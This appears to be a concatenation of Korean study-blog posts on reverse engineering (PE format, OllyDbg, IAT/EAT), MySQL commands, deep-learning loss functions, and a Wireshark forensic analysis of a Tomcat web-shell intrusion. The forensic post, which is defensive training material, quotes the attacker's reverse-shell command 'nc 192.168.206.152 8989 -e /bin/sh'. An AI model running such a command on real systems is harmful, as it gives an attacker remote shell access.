우리가 Main 함수를 작성할 때, 딱히 정해진 방식이 있는 것은 아니다.

 

- 메인함수 선언 방식

1. int main()
2. int main(void)
3. int main(int argc, char *argv[], char *envp[])

 

main함수 원형은 3번과 같이 인자와 환경변수 전달을 같이 받는다.

 

 

-컴파일 과정에서의 메인 구성

int main(int argc, char *argv[], char *envp[])

사용자가 어떻게 작성하던 간에 컴파일 과정에서는 원형이 지켜지게 된다.

 

즉, main 호출은 인자를 3개 전달한다.

CALL 00401000이 이 실행파일의 main 함수이다.

main 함수를 찾지 못하겠을 때 이와 같은 방법이 조금 도움이 될 수 있겠다.

 

 

 


*참고 : Visual Studio 6.0 에서 작성된 실행파일의 Stub 코드

 

Stub 코드의 흐름을 보고 main() 호출이 어느 지점에서 일어날 지 예측할 수 있다.

 

ex:) main()함수가 GetCommandLineA() 호출보단 뒤에, exit() 호출보단 앞에 있을 것으로 예측하며 

main()함수의 위치를 대략 예상할 수 있다.

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L15  (0) 2021.03.30
Reversing.kr 1번 풀이  (0) 2021.03.24
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE 헤더  (0) 2021.01.24

※ wireshark 실행 환경 : kali-linux-2021.1

 

Statics - Protocol Hiearchy 로 프로토콜 통계 확인

 

 

대부분의 패킷들이 TCP 프로토콜의 SSL, HTTP 를 이용함을 확인

Line-based text data : 웹쉘과 같은 공격에서 공격자들이 웹 페이지에서 정보를 가져올 때 이런 패킷이 사용됨

Media Type : 첨부파일을 통해 어떠한 파일이 올라간 경우에 이런 패킷이 사용됨

 

 

Statics - HTTP - Requests 로 서버로 요청한 정보 확인 (접근했던 도메인 확인 가능)

확인해 보니 192.168.206.133 서버의 8180번 포트로 수상한 패킷이 요청됨을 감지

 

 

Statics - Conversation 로 해당 포트 관련 정보를 확인

공격자의 IP 주소는 192.168.206.152 임을 예상

 

 

Statics - HTTP - Packet Counter 로 패킷 관련 정보 확인

1. GET 방식의 요청이 많음

2. 정상적 페이지에 접근 후 공격했음을 예상(200 OK)

※ 400, 500에러 등이 많이 찍히면 SQL Injection과 같은 공격임을 예상할 수도 있음

 

 

File - Export Objects - HTTP 로 HTTP 객체들을 확인

html 타입의 8180번 포트를 사용한 패킷들을 위주로 확인

/manager/html/upload 이후에 /attack 패킷이 요청되었으므로 upload 패킷부터 살펴보기 시작

 

 

/upload 포함 패킷 - 마우스 오른쪽 - Follow - TCP Stream 으로 패킷 흐름 확인

 

 

save as 로 이를 저장하면 공격자가 요청(접근)한 순서대로 웹 페이지를 볼 수 있음

 

 

대략 이런식

 

 

아까 저장했던 페이지를 자세히 보면, 공격자가 웹쉘을 올린 이후에 입력한 명령어들도 확인이 가능

command = ps+-aux, ls+-al, 

 

 

중간에 /upload 패킷에서 attack.war(웹쉘) 라는 이름을 가진 파일을 POST 방식으로 보낸 것을 확인

 

 

해당 패킷을 다시 확인

 

 

attack.war 파일의 내용물을 확인하기 위해 

Data 영역 - 마우스 오른쪽 - Export Packet Bytes로 파일 저장 후 압축 풀기

 

 

shell.jsp 파일 확인

 

 

attack.war의 md5 해시값은 5E86CA5044BDDEB1CA5F7B5852FDC360

 

 

 

1. 공격에 성공한 공격자 IP는? 192.168.206.152

2. 공격자 이외 서비스에 접근한 IP는?  192.168.206.154

3. 공격자가 시스템에 침투하기 위해 접근한 서비스 포트는? 8180

4. 공격자가 어떤 취약점을 이용한 것인지 서술하시오. apache tomcat 5.5 취약점

5. 공격자가 리버스 공격을 하기 위해 사용한 포트는? 8989

6. 공격자가 올린 웹쉘의 이름과 md5 해시 값은? attack.war

5E86CA5044BDDEB1CA5F7B5852FDC360
7. 공격자가 웹쉘을 올린 뒤에 사용한 명령어를 찾는대로 작성하시오.
ps -aux, ls -al, nc 192.168.206.152 8989 -e /bin/sh, shell.jsp파일 삭제

'Study > NETWORK' 카테고리의 다른 글

Wireshark - HTTP 패킷  (0) 2022.08.23
HTTP 업로드 실패 패킷  (0) 2021.03.31
HTTP 간단 요청 패킷  (0) 2021.03.31

OllyDBG

Ollydbg 화면구성

PE 파일 동작한다는 것은 메모리에 올라간 PE 데이터 중에서 .text 섹션에 기록되어 있는 기계어 코드가 실행되는 것이다.

 

1. Disassemble 영역

- 어셈블리 코드를 실행 또는 중지할 수 있도록 한다.

- 왼쪽부터 차례로 Address(명령어가 실행될 주소), 기계어 코드, 어셈블리 코드(기계어를 어셈블리어로 바꿔놓음)로 구성된다.

 

2. 레지스터

- 레지스터는 CPU 내부에 존재하는 다목적 저장 공간

- 이러한 레지스터 값을 표시해주는 곳

 

3. Memory Dump

- Address 주소, Hex dump, 각 Hex에 따른 ASCII코드로 해석된 창을 보여준다.

- 프로세스 동작과정에서 읽고 쓰는 값들을 확인 및 수정이 가능

 

4. Stack

- Stack 영역은 임시 저장 공간

- 스택 주소, 스택 값, comment 순으로 표시된 창

- 함수 호출 시 필요한 인자 정보를 전달

 

 

어셈블리어

:: 기계어와 일대일 대응이 되는 컴퓨터 프로그래밍의 저급 언어

기계어를 어셈블리어로 번역하는 작업은 디버거가 알아서 해주기 때문에 기계어를 알아야 하는 경우는 잘 없다.

 

명령어 설명
PUSHAD 8개의 범용 레지스터 값을 Stack에 저장
POPAD PUSHAD 명령에 의해서 Stack에 저장된 값을 다시 레지스터에 입력
PUSH A A값을 Stack에 넣음
POP 레지스터 Stack에서 값을 꺼내서 레지스터에 넣음
INC A A값을 1 증가
DEC A A값을 1 감소

 

명령어 설명
ADD A B A와 B를 더해서 그 결과를 A에 저장
SUB A B A에서 B를 빼고 그 결과를 A에 저장
IML A B A와 B를 곱한 후 그 결과를 A에 저장
LEA A B A를 B로 만듬(레지스터에서 주로 사용)
MOV A B B를 A로 복사
XCHG A B A와 B를 바꿈
TEST A B A와 B를 AND 연산
(연산 결과 값이 a에 저장되지 않지만 ZF 플래그 설정에 영향을 줌)
(연산 결과가 0이면 ZF가 1이 되고 연산 결과가 0이 아니면 ZF는 0이 된다)
AND A B A와 B를 AND 연산
(연산 결과 값이 a에 저장되고 ZF 플래그 설정에 영향을 줌)
(연산 결과가 0이면 ZF가 1이 되고 연산 결과가 0이 아니면 ZF는 0이 된다)
CMP A B 비교 구문. A와 B가 같은지 판단
(같을 경우 ZE는 1이 되고 다를 경우 ZE는 0이 된다.)

 

명령어 설명
JMP                         Address 해당 주소로 무조건 이동
JZ(Zump if Zero)         Address 연산 결과가 0이면(ZE=1)이동하고,
아니면(ZF=0) 다음 명령을 실행
ZE(Zump if Equal)        Address 연산 결과가 0이면(ZE=1)이동하고,
아니면(ZF=0) 다음 명령을 실행
JNZ(Zump if not Zero)  Address 연산 결과가 0이 아니면(ZF=0)이동하고,
0이면 (ZE=1) 다음 명령을 실행
JNE(Zump if not Equal) Address 연산 결과가 0이 아니면(ZF=0)이동하고,
0이면 (ZE=1) 다음 명령을 실행

 

명령어 설명
MOVE         DWORD PTR DS:[Address],  EAX Address부터 4Byte 값을 EAX로 복사
CALL          DWORD PTR DS:[Address] Address부터 4Byte 주소 값을 호출

DWORD ; 크기 값 (BYTE : 1byte, WORD : 2byte, DWORD: 4byte)

PTR ; 기준

 

 

주요 단축키

단축키 정보 설명
F2 BreakPoint를 설치하고 해제
F7 하나의 명령어 실행,
Call 명령어 실행 시 해당 함수 내부로 들어감
F8 하나의 명령어 실행,
Call 명령어 실행 시 해당 함수 내부로 들어가지 않음
F9 실행(Execute)
Ctrl + F2 디버깅을 처음부터 다시 시작(재실행)
Ctrl + F9 해당 함수 내에서 RETN 명령어까지 실행
Ctrl + G
원하는 주소로 이동
Alt + M Memory Map 확인

 

'Study > Reversing' 카테고리의 다른 글

Reversing.kr 1번 풀이  (0) 2021.03.24
main 함수 찾기  (0) 2021.03.23
IAT & EAT  (0) 2021.01.25
PE 헤더  (0) 2021.01.24
PE File Format 이해  (0) 2021.01.23

MySQL

:: 세계에서 가장 많이 쓰이는 오픈 소스의 관계형 데이터베이스 관리 시스템(RDBMS).

:: 데이터베이스를 관리하거나 자료를 관리하기 위한 GUI 관리툴은 내장되어 있지 않고 오로지 명령어로만 동작

따라서 MySQL 프론트엔드 데스크톱 소프트웨어나 웹 애플리케이션을 사용해야 함

MySQL Workbench : 공식적 MySQL 프론트엔드 툴

MySQL과 같은 관계형 데이터베이스의 중요한 특징은 스프레드시트와 마찬가지로 데이터를 표의 형태로 표현해준다. 

 

 

MySQL의 구조

- 표(table)에 저장됨 -> 표가 늘어남 -> 정리정돈(디렉토리)의 필요성 증대

- 스키마? 서로 연관된 표들을 서로 그룹핑할 때 사용하는 일종의 폴더.

- 스키마들이 모인 것 = 데이터베이스 서버(database server)

데이터베이스 서버> 데이터베이스(스키마)> 표(table)

 

효용 

1. 보안 (자체적 보안 체계를 가지고 있어 안전한 보관 가능)

2. 권한 (다양한 사용자들이 관리할 수 있음 + 차등적 권한을 줄 수 있음)

 

SQL

(Structed Query Language)

:: 데이터를 관리하기 위한 쿼리 언어

:: 데이터베이스 종류와 상관 없이 모든 데이터베이스는 SQL을 통해서만 관리가 가능함

:: 기본적으로는 ANSI 표준이며 데이터베이스 회사별로 조금씩 차이가 있음

 

 

그리고 다양한 MySQL 명령들

(※ 주의 : 공부한 것을 까먹지 않도록 간단하게 적어놓은 것이므로 설명 등이 매우 부실함)

 

1. 데이터베이스 생성

CREATE DATABASE 데이터베이스명;

2. 데이터베이스 목록보기

SHOW databases;

3. 데이터베이스 선택

USE 데이터베이스명;

4. 테이블 생성

CREATE TABLE 테이블명(
-> 필드1 데이터타입 NULL수용여부(사용하지 않으면 기본적으로 NULL),
-> 필드2 데이터타입 NOT NULL,
...
-> PRIMARY KEY(필드1)); // PRIMARY KEY 부여 


예를 들어
CREATE TABLE opentutorials(
-> id INT(11) NOT NULL AUTO_INCREMENT,
-> title VARCHAR(30) NOT NULL,
-> description TEXT NULL,
-> created DATETIME NOT NULL,
-> profile VARCHAR(100) NULL,
-> PRIMARY KEY(id));

3. 테이블 목록보기

SHOW tables;

4. 테이블 구조 확인

DESC 테이블명;

5. 특정 칼럼에 키 부여

ALTER TABLE 테이블명 ADD PRIMARY KEY(필드명);

6. 데이터 입력

INSERT INTO //모든 필드에 데이터 추가 
-> 테이블명
-> VALUES(데이터1, 데이터2, 데이터3,,,);

예를 들어
INSERT INTO 
->opentutorials
->VALUES("SQL","SQL is....",NOW(),'kkami','developer');
INSERT INTO 테이블명(필드1, 필드2) VALUES(데이터1,데이터2);

예를 들어
INSERT INTO opentutorials(title,description,created,author,profile) 
->VALUES("SQL","SQL is....",NOW(),'kkami','developer');

7. 데이터 조회

SELECT * FROM 테이블명; // 전체 필드 데이터 검색

SELECT 필드명1, 필드명2 FROM 테이블명; // 특정 필드 데이터 검색

SELECT 필드명1, 필드명2 FROM 테이블명 WHERE 조건식; // 조건에 맞는 레코드 검색 명령

SELECT 필드명1, 필드명2 FROM 테이블명 WHERE 검색필드 LIKE 조건식 // 특정 문자열이 포함된 레코드 검색 명령

SELECT 필드명1, 필드명2 FROM 테이블명 ORDER BY 필드명; // 레코드 정렬 명령 -오름차순
SELECT 필드명1, 필드명2 FROM 테이블명 ORDER BY 필드명 DESC; // 레코드 정렬 명령 -내림차순

SELECT 필드명1, 필드명2 FROM 테이블명 ORDER BY 필드명 LIMIT 숫자;// 오름차순으로 해당 숫자만큼만 출력

SELECT * FROM 테이블명 LEFT JOIN 붙일 테이블명 ON 조건; // 테이블 합치기
ex) SELECT * FROM topic LEFT JOIN author ON topic.author_id = author.id; 

8. 데이터 수정

UPDATE 테이블명 SET 필드명='바꾸고자 하는 값' WHERE 조건;

예를 들어
UPDATE opentutorials SET id=3 WHERE id=1;

9. 데이터 삭제

DELETE FROM 테이블명 WHERE 조건;

10. 이름 변경

RENAME TABLE 테이블명 TO 바꾸고자 하는 값;

 

IAT & EAT 이해

# Sample 01.exe는 Beep() API를 사용

# Beep() 기능은 kernel32.dll에서 제공

# Sample 01.exe는 Beep() API 주소를 어떻게 알아낼까?

 

Sample 01.exe를 실행하면 PE 로더가 이것과 kernel32.dll을 함께 올린다.

이 올리는 과정에서 PE 로더는 kernel32.dll의 EAT로 가서, Beep() API의 실제 호출 주소를 알아온다. 

그리고 나서 이것(주소)을 Sample 01.exe의 IAT에 기록한다.

그러면 Sample 01.exe는 필요할 때마다 자신의 IAT를 참고하여 함수를 호출하는 것이다.

 


그림1 kernel32.dll_Beep_API RVA : 0x00083081

 

그림 2 kernel32.dll_Image Base : 0x76030000

0x00083081 + 0x76030000 = 0x760B3081 (Beep 호출 주소)

 

그림3 Sample 01.exe의 Import Address Table 영역

 

그림4 Beep() API 호출 코드에서 바로 확인 가능

 

Beep() API를 호출할 때 직접 호출하지 않고 0x00405000 주소에 있는 4Byte 값을 가져와서 호출한다.

0x00405000 주소는 Sample 01.exe의 Import Address Table(IAT) 영역이다.

해당 주소로 이동해보면 Sample 01.exe가 사용하는 API들의 호출 주소가 기록되어 있다.

 

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
PE 헤더  (0) 2021.01.24
PE File Format 이해  (0) 2021.01.23
리버싱의 이해  (0) 2021.01.22

PE 헤더

:: 작은 구조체들이 모여서 만들어진 데이터 덩어리

:: 크게 DOS Header와 DOS Stub, NT Header, Section Header로 구성

 

 

PE 헤더 (출처 위키백과)

 

 

DOS Header DOS Header는 DOS와 호환성을 위해 만들었다. 파일의 처음에 위치하고 0x40의 크기를 갖는다.
DOS Stub 해당 파일이 MS-DOS에서 실행될 경우, 화면에 출력될 메시지와 코드가 기록되어 있다. 
DOS Stub은 옵션이기 때문에 파일 실행에 영향이 없다. 크기가 일정하지 않고 없어도 되는 영역이다.
NT Header 파일 실행에 필요한 중요 정보들을 담고 있다. 0xF8의 크기를 갖는다.
Section Header  각 섹션의 속성 정보를 담고 있다.

 

ⓐ DOS Header

- DOS Signature : 실행 파일이라는 표식. 2Byte이고 "MZ(0x5A4D)" 값을 가진다.

- NT Header Offset : NT 헤더의 시작 지점에 대한 정보를 담는다. 4Byte.

 

ⓑ NT Header 

- PE Signature : 올바른 PE 파일인지 확인하는 용도로 사용된다. 4Byte이고 "0x50450000"값을 가진다.

- FILE HEADER : 파일의 Physical 정보를 담고 있는 구조체이다.

Machine에서 UPU -> CPU (오타)

- OPTIONAL HEADER : 파일의 Losical 정보를 담고 있는 구조체이다.

 

ⓒ Section Header

- VirtualSize : 메모리에서 섹션이 차지하는 크기이다.

- RVA(VirtualAddress) : 메모리에서 섹션의 시작 주소이다.

- SizeOfRawData :  파일에서 섹션이 차지하는 크기이다.

- OffsetToRawData : 파일에서 섹션의 시작 주소이다.

- Characteristics :  섹션의 속성 정보를 담고 있다.

 

VA (Virtual Address, 가상주소) & RVA (Relative Virtual Address, 상대주소)

:: 특정 값의 위치 정보를 표현할 때

파일에서의 위치(Offset), 메모리에서의 위치(VA), 메모리에서의 상대 위치(RVA)를 사용한다.

여기서 RVA는 파일 데이터가 메모리에 올라간 시작 지점으로부터 떨어져 있는 상대 위치이다.

VA = Image Base + RVA

(Image Base는 OPTIONAL HEADER에 있다.

실행파일이 메모리에 올라간 위치로, 파일 데이터가 메모리에 올라갈 때 기준이 되는 주소 값을 가진다. 기본적으로 EXE는 0x004000000, DLL은 0x10000000 값을 가진다.)

 

ⓓ IAT(Import Address Table)와 EAT(Export Address Table)

Windows 운영체제에서 EXE가 동작할 때 DLL이라는 비서를 두고 활용하게끔 만들어져 있다. 이것을 가능하게 하는 것이 IAT와 EAT 메커니즘이다. 

- IAT : DLL이 제공하는 함수들 중 사용하는 것들에 대한 정보를 기술해놓은 테이블

(ex; EXE를 로드하는 과정에서 필요한 함수 호출 주소 정보를 획득하여 EXE의 IAT에 기록, EXE는 동작 과정에서 필요할 때마다 IAT를 참고하여 함수를 호출)

- EAT : DLL 자신이 서비스하는 함수에 대한 정보를 기술해 놓은 테이블

 

 

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE File Format 이해  (0) 2021.01.23
리버싱의 이해  (0) 2021.01.22

PE File Format

:: Windows 운영체제에서 동작하는 실행 파일의 구성 방식

:: 실행 파일이 어떻게 구성되어야 하는지, 그 원칙을 정의해 놓은 것

:: Microsoft가 운영체제를 설계하는 과정에서 실행파일의 효율적이고 합리적인 구성을 고민하고 선택한 방식

:: 다양한 운영체제에서의 이식성을 보여준다는 뜻에서 이식이 가능한 실행형식(Portable Executable)이라는 이름이 붙음

 

PE 파일의 종류

ⓐ 실행 파일 계열 : EXE, SCR(Screen Saver)

ⓑ 라이브러리 계열 : DLL, OCX(Active X)

ⓒ 드라이브 계열 : SYS

ⓓ 오브젝트 파일 계열 : OBJ

 

PE 파일을 만들 떄, 일반적으로 Visual Studio와 같은 개발 도구를 사용한다.

(개발 도구 → 코드 작성 → 컴파일 → 실행 파일(exe)완성)

 

 

실행 파일을 만드는 과정은 어떻게 될까?

1. 코드와 데이터를 분리 (실행 코드 : .text 섹션에 기록 // 데이터 : .data 섹션에 기록)

2. 코드 → 기계어로 변환

3. 문자열 데이터 아스키 값으로 변환

4. 명령코드와 아스키 값을 담기 위한 생성 (PE File Format)

5. PE 헤더 작성 (PE헤더 : 파일 실행에 필요한 정보가 기록되어 있는 영역)

   --- 사용자가 작성한 값이 아니라, 코드를 컴파일하는 과정에서 컴파일러가 알아서 작성함

   --- 컴파일러가 PE 파일에 Header를 기록하는 이유 ? PE 파일을 만드는 것은 컴파일러지만, 실행 주체는 운영체제

                                                                       따라서 운영체제 입장에서 PE 파일을 실행하기 위해 필요한 정보를 담아줘야 함

6. 명령코드 채움 (.text 섹션 : 파일이 동작하는 데 필요한 코드가 기록되어 있는 영역)

7. 데이터 채움 (.data 섹션 : 파일이 실행될 때 필요한 부가적인 정보가 기록되어 있는 영역)

8. 실행 파일 완성!

 

 

 

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE 헤더  (0) 2021.01.24
리버싱의 이해  (0) 2021.01.22

리버싱

:: 소프트웨어 공학의 한 분야로, 이미 만들어진 시스템을 역으로 추적하여

처음의 문서나 설계기법 등의 자료를 얻어내는 일

 

즉, 사람이 인식하기 어려운 기계어를 재번역하고, 재번역된 코드를 읽어서 기능과 역할을 알아낸다고 보면 된다.

 

 

소스코드

 

Visual Studio 와 같은 개발 툴을 이용해서 코드를 작성하고 컴파일을 하면 실행 파일이 만들어진다.

TEST.exe 파일 확인

 

실행파일이 만들어졌다는 것은 우리가 작성한 코드가 기계어로 변환되었음을 의미한다.

 

기계어로 번역된 main()코드의 일부

 

그리고 이 기계어를 CPU가 읽어서 문자열을 출력시킨다.

TEST.exe 파일 실행

------------------------------------------------------------------------------------------------------------------------------

 

이제 실행 파일을 리버싱해보자

앞서 언급했듯이 실행 파일에는 기계어로 번역된 main() 함수 코드가 있다.

하지만 우리는 기계어를 읽을 수 없다.

 

따라서 리버싱 작업은 보통 WinDBG나 IDA, OllyDBG와 같은 디버깅(디컴파일러) 툴을 사용해서 이루어진다.

이러한 툴들은 사람이 인식하기 어려운 기계어를 재번역하는 데 일차적인 목적이 있다.

 

OllyDBG.exe와 같은 툴로 TEST.exe 파일을 확인하면 

기계어에서 어셈블리어로 재번역된 main()함수 코드를 확인할 수 있다.

 

TEST.exe 메인코드

 

리버싱은 한 마디로, "디버거에서 재번역해 준 어셈블리 코드를 잘 읽고, 기능과 역할을 도출하는 것"이다.

 

------------------------------------------------------------------------------------------------------------------------------

 

리버싱(분석) 방법

 

ⓐ 정적 분석(Static Analysis)

:: 파일을 실행하지 않고 파일의 겉모습을 관찰하여 분석하는 방법

  -- 파일의 종류, 크기, 헤더 정보(PE), Import/Export API, 내부 문자열, 실행 압축 여부, 등록 정보, 디버깅 정보, 디지털인증서 등의 다양한 내용을 확인할 수 있다.

  -- 디스어셈블러(ex; IDA)를 이용해 내부 코드와 구조를 확인할 수 있다.

 

==> 실행 파일을 구성하는 모든 요소, 대상 실행 파일이 실제로 동작할 CPU 아키텍처에 해당하는 어셈블리 코드를 이해하는 것이 필요

 

ⓑ 동적 분석(Dynamic Analysis)

: 파일을 실행시켜 행위를 분석하고, 디버깅하여 코드 흐름과 메모리 상태를 살펴보는 방법

  -- 파일, 레지스트리, 네트워크 등을 관찰하면서 프로그램의 행위를 분석한다.

  -- 디버거(ex; OllyDBG)를 이용하여 프로그램 내부 구조와 동작 원리를 분석한다.

 

==> 실행 단계별로 자세한 동작 과정을 살펴봐야 하므로, 환경에 맞는 디버거를 이용해 단계별로 분석하는 기술을 익혀야함

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE 헤더  (0) 2021.01.24
PE File Format 이해  (0) 2021.01.23

미분

미분은 '특정 순간'의 변화량이며, 수식은 다음과 같다.

함수의 미분

이는 결국 x의 '작은 변화'가 함수 f(x)를 얼마나 변화시키느냐를 의미한다. 

이때 시간의 작은 변화, 즉 시간을 뜻하는 h를 한없이 0에 가깝게 한다는 의미를 lim h->0 로 나타낸다.

 

# 나쁜 구현 예
def numerical_diff(f,x):
    h = 10e-50 # 작은 값. 이 방식은 결국 반올림 오차 문제를 일으키게 된다.
    return (f(x+h) - f(x)) / h

함수 f의 차분 문제도 있다. 

'진정한 미분'x 위치의 함수의 기울기(접선)에 해당하지만, 이번 구현에서의 미분은 (x+h)와 x 사이의 기울기에 해당한다.

 

def numerical_diff(f,x):
    h = 1e-4 #0.0001
    return (f(x+h) - f(x-h)) / (2*h)

문제점들을 해결한 코드이다.

 

 

편미분

여기선 변수가 2개이기 때문에 '어느 변수에 대한 미분이냐', 즉 x0과 x1 중 어느 변수에 대한 미분이냐를 구별해야 한다.

편미분은 변수가 하나인 미분과 마찬가지로 특정 장소의 기울기를 구한다. 

단, 여러 변수 중 목표 변수 하나에 초점을 맞추고 다른 변수는 값을 고정한다. 

 

 

위 글은 「밑바닥부터 시작하는 딥러닝」을 참고하여 작성한 글입니다.

'Study > Deep Learning' 카테고리의 다른 글

머신러닝 Data 종류  (0) 2021.10.14
머신러닝 기본 프로세스  (0) 2021.10.14
딥러닝의 응용분야  (0) 2021.10.13
머신러닝/딥러닝 기초  (0) 2021.10.13
신경망 학습  (0) 2020.11.06

여기서 학습이란 훈련 데이터로부터 가중치 매개변수의 최적값을 자동으로 획득하는 것을 뜻한다.

 

데이터 주도 학습

기계학습의 중심에는 데이터가 존재한다. 

기계학습에서는 사람의 개입을 최소화하고 수집한 데이터로부터 패턴을 찾으려 시도한다.

그런 방법의 하나로, 이미지에서 특징(feature)을 추출하고 그 특징의 패턴을 기계학습 기술로 학습 하는 방법이 있다.

여기서 말하는 특징은 입력 데이터(입력 이미지)에서 본질적인 데이터(중요한 데이터)를 

정확하게 추출할 수 있도록 설계된 변환기를 가리킨다.

이미지의 특징은 보통 벡터로 기술하고, 컴퓨터 비전 분야에서는 SIFT, SURF, HOG 등의 특징을 많이 사용한다.

 

이와 같은 기계학습에서는 모아진 데이터로부터 규칙을 찾아내는 역할을 '기계'가 담당한다.

다만, 이미지를 벡터로 변환할 때 사용하는 특징은 여전히 '사람'이 설계한다.

 

딥러닝을 종단간 기계학습(end-to-end machine learning)이라고도 한다. 

데이터(입력)에서 목표한 결과(출력)를 사람의 개입 없이 얻는다는 뜻을 담는다.

 

 

훈련 데이터와 시험 데이터

기계학습 문제는 데이터를 훈련 데이터시험 데이터로 나눠 학습과 실험을 수행하는 것이 일반적이다.

우선 훈련 데이터만으로 학습하며 최적의 매개변수를 찾는다.

그런 다음 시험 데이터를 사용하여 앞서 훈련한 모델의 실력을 평가한다.

 

범용 능력은 아직 보지 못한 데이터(훈련 데이터에 포함되지 않는 데이터)로도 문제를 올바르게 풀어내는 능력이다.

이 능력을 획득하는 것이 기계학습의 최종 목표다.

 

데이터셋 하나로만 매개변수의 학습과 평가를 수행하면 올바른 평가가 될 수 없다.

(예: 한 사람의 글씨체만 학습하는 경우) 

한 데이터셋에만 지나치게 최적화된 상태를 오버피팅overfitting 이라고 한다.

오버피팅을 피하는 것도 기계학습의 중요한 과제다.

 

 

손실 함수

신경망 학습에서는 현재의 상태를 '하나의 지표'로 표현한다.

그리고 그 지표를 가장 좋게 만들어주는 가중치 매개변수의 값을 탐색한다.

신경망 학습에서 사용하는 지표는 손실 함수 loss function 라고 한다.

이 손실 함수는 임의의 함수를 사용할 수도 있지만 

일반적으로는 오차제곱합교차 엔트로피 오차를 사용한다.

 

 

오차제곱합

가장 많이 쓰이는 손실 함수는 오차제곱합 sum of squares for error, SSE 이다.

(yk는 신경망의 출력(신경망이 추정한 값), tk는 정답 레이블, k는 데이터의 차원 수)

 

>>> y = [0.1, 0.05, 0.6, 0.0, 0.05, 0.1, 0.0, 0.1, 0.0, 0.0]
>>> t = [0, 0, 1, 0, 0, 0, 0, 0, 0, 0]

y는 소프트맥스 함수의 출력이다. 소프트맥수 함수의 출력은 확률로 해석할 수 있다.

이 예에서는 이미지가 2일 확률이 확률이 가장 높다고 해석할 수 있다.

t에서 나타낸 것처럼 한 원소만 1로 하고 그 외에는 0으로 나타내는 표기법을 원-핫 인코딩이라 한다.

 

import numpy as np

t = [0, 0, 1, 0, 0, 0, 0, 0, 0, 0] # 정답은 2
y = [0.1, 0.05, 0.6, 0.0, 0.05, 0.1, 0.0, 0.1, 0.0, 0.0] # '2'의 확률이 가장 높다고 추정함

def sum_squares_error(y,t):
    return 0.5 * np.sum((y-t)**2)

>>> sum_squares_error(np.array(y),np.array(t))
0.097500000000000031

한편, t는 그대로 두고 y가 '5'일 확률이 가장 높다고 추정한다면

>>> y= [0.1, 0.05, 0.05, 0.0, 0.6, 0.1, 0.0, 0.1, 0.0, 0.0] # '5'일 확률이 가장 높다고 추정함
>>> sum_squares_error(np.array(y),np.array(t))
0.6475

첫 번째 예의 손실 함수 쪽 출력이 작으며 정답 레이블과의 오차도 작다는 것을 알 수 있다.

즉, 오차제곱합 기준으로는 첫 번째 추정 결과가(오차가 더 작으니) 정답에 더 가까울 것으로 판단할 수 있다.

 

 

교차 엔트로피 오차

또 다른 손실 함수로서 교차 엔트로피 오차 cross entropy error, CEE 도 자주 이용한다.

 

(log는 밑이 e인 자연로그, yk는 신경망의 출력, tk는 정답 레이블)

실질적으로 정답일 때의 추정(tk가 1일 떄의 yk)의 자연로그를 계산하는 식이다.

자연로그 y=logx 의 그래프

정답에 해당하는 출력이 커질수록 0에 다가가다가, 그 출력이 1일 때 0이 된다.

반대로 정답일 때의 출력이 작아질수록 오차는 커진다.

 

def cross_entropy_error(y,t):
    delta = 1e-7
    return -np.sum(t*np.log(y+delta))

 

여기서 np.log를 계산할 때 아주 작은 값인 delta를 더했다. 이는 np.log()함수에 0을 입력하면 마이너스 무한대를 나타내는 -inf가 되어 더 이상 계산을 진행할 수 없게 되기 때문이다.

즉, 마이너스 무한대가 발생하지 않도록 한 것이다.

 

>>> cross_entropy_error(np.array(y),np.array(t)) # 정답
0.510825457099338
>>> cross_entropy_error(np.array(y),np.array(t)) # 정답 X
2.9957302735559908

위 코드(오차제곱합)의 예시와 똑같이 적용한 결과이다. 

결과(오차 값)가 더 작은 첫 번째 추정이 정답일 가능성이 높다고 판단한 것으로, 앞서 오차제곱합의 판단과 일치하다.

 

미니배치 학습

딥러닝은 훈련 데이터를 이용해 학습하면서, 훈련 데이터에 대한 손실함수의 값을 구하고 그 값을 최소로하는 매개변수(가중치, 편향)를 찾아내는 것이다. 이를 위해서는 모든 훈련 데이터를 대상으로 손실함수 값을 구해야 한다. 보통 딥러닝은 미니배치(Mini-batch) 학습을 하기때문에 미니배치 크기만큼의 데이터에 대한 각각의 손실함수를 구해 평균을 내어 '평균 손실 함수'를 계산한다.

(N은 미니배치 크기,  tnk는 n번째 데이터의 k차원째의 값)

이는 데이터 하나에 대한 손실 함수를 단순히 N개의 데이터로 확장한 것이고, 마지막에 N으로 나누어 정규화하고 있다.

N으로 나눔으로써 '평균 손실 함수'를 구하는 것이다.

 

빅데이터 수준이 되면 훈련 데이터가 수천만개도 넘는 거대한 값이 된다. 

이런 경우 데이터 일부를 추려 전체의 '근사치'로 이용할 수 있다. 

신경망 학습에서도 훈련 데이터로부터 일부만 골라 학습을 수행한다. 이 일부를 미니배치라고 한다. 

 

미니배치 학습을 하는 코드를 구현해보자.

 

import sys, os
sys.path.append(os.pardir)  # 부모 디렉터리의 파일을 가져올 수 있도록 설정
import numpy as np
import matplotlib.pyplot as plt
from dataset.mnist import load_mnist
from two_layer_net import TwoLayerNet

# 데이터 읽기
(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True, one_hot_label=True)

print(x_train.shape) #(60000,784)
print(t_train.shape) #(600000,10)

(load_mnist는 MNIST 데이터셋을 읽어오는 함수. 이 함수는 훈련 데이터와 시험 데이터를 읽음.

호출할 때 원-핫 인코딩으로 호출)

 

MNIST 데이터를 읽은 결과, 훈련 데이터는 60,000개고, 입력 데이터는 784(28x28)열인 이미지 데이터임을 알 수 있다.

또, 정답 레이블은 10줄짜리 데이터이다.

 

train_size = x_train.shape[0]
batch_size = 10
batch_mask = np.random.choice(train_size,batch_size)
x_batch = x_train[batch_mask]
t_batch = t_train[batch_mask]

 

np.random.choice() 로는 지정한 범위의 수 중에서 무작위로 원하는 개수만 꺼낼 수 있다.

이 함수가 출력한 배열을 미니배치로 뽑아낼 데이터의 인덱스로 사용하면 된다.

 

 

(배치용) 교차 엔트로피 오차 구현하기
